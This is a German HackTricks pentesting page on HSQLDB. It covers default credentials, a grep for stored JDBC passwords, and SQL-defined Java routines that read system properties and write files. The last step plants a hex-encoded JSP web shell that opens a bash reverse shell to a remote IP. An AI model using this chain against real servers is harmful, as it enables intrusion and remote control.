mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
96 lines
5.7 KiB
Markdown
96 lines
5.7 KiB
Markdown
{% hint style="success" %}
|
|
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Unterstützen Sie HackTricks</summary>
|
|
|
|
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
|
|
# Grundinformationen
|
|
|
|
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** ist das führende SQL-Relationale Datenbanksystem, das in Java geschrieben ist. Es bietet eine kleine, schnelle, mehrthreadige und transaktionale Datenbank-Engine mit In-Memory- und festplattenbasierten Tabellen und unterstützt eingebettete und Servermodi.
|
|
|
|
**Standardport:** 9001
|
|
```text
|
|
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
|
|
```
|
|
# Information
|
|
|
|
### Standard-Einstellungen
|
|
|
|
Beachten Sie, dass dieser Dienst standardmäßig wahrscheinlich im Speicher läuft oder an localhost gebunden ist. Wenn Sie ihn gefunden haben, haben Sie wahrscheinlich einen anderen Dienst ausgenutzt und versuchen, die Berechtigungen zu erhöhen.
|
|
|
|
Die Standardanmeldeinformationen sind normalerweise `sa` mit einem leeren Passwort.
|
|
|
|
Wenn Sie einen anderen Dienst ausgenutzt haben, suchen Sie nach möglichen Anmeldeinformationen mit
|
|
```text
|
|
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
|
|
```
|
|
Note den Datenbanknamen sorgfältig - du wirst ihn für die Verbindung benötigen.
|
|
|
|
# Info Gathering
|
|
|
|
Verbinde dich mit der DB-Instanz, indem du [HSQLDB herunterlädst](https://sourceforge.net/projects/hsqldb/files/) und `hsqldb/lib/hsqldb.jar` extrahierst. Starte die GUI-App \(eww\) mit `java -jar hsqldb.jar` und verbinde dich mit der Instanz unter Verwendung der entdeckten/schwachen Anmeldeinformationen.
|
|
|
|
Beachte, dass die Verbindungs-URL für ein entferntes System ungefähr so aussehen wird: `jdbc:hsqldb:hsql://ip/DBNAME`.
|
|
|
|
# Tricks
|
|
|
|
## Java Language Routines
|
|
|
|
Wir können statische Methoden einer Java-Klasse von HSQLDB aus über Java Language Routines aufrufen. Beachte, dass die aufgerufene Klasse im Klassenpfad der Anwendung vorhanden sein muss.
|
|
|
|
JRTs können `Funktionen` oder `Prozeduren` sein. Funktionen können über SQL-Anweisungen aufgerufen werden, wenn die Java-Methode eine oder mehrere SQL-kompatible primitive Variablen zurückgibt. Sie werden mit der `VALUES`-Anweisung aufgerufen.
|
|
|
|
Wenn die Java-Methode, die wir aufrufen möchten, void zurückgibt, müssen wir eine Prozedur verwenden, die mit der `CALL`-Anweisung aufgerufen wird.
|
|
|
|
## Lesen von Java-Systemeigenschaften
|
|
|
|
Erstelle Funktion:
|
|
```text
|
|
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
|
|
DETERMINISTIC NO SQL
|
|
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
|
|
```
|
|
Funktion ausführen:
|
|
```text
|
|
VALUES(getsystemproperty('user.name'))
|
|
```
|
|
You can find a [list of system properties here](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
|
|
|
|
## Write Content to File
|
|
|
|
Sie können das `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java-Gadget verwenden, das im JDK \(automatisch in den Klassenpfad der Anwendung geladen\) enthalten ist, um hexadezimal codierte Elemente über ein benutzerdefiniertes Verfahren auf die Festplatte zu schreiben. **Beachten Sie die maximale Größe von 1024 Bytes**.
|
|
|
|
Create procedure:
|
|
```text
|
|
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
|
|
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
|
|
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
|
|
```
|
|
Führen Sie das Verfahren aus:
|
|
```text
|
|
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
|
|
```
|
|
{% hint style="success" %}
|
|
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Unterstütze HackTricks</summary>
|
|
|
|
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
|
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
|
|
|
</details>
|
|
{% endhint %}
|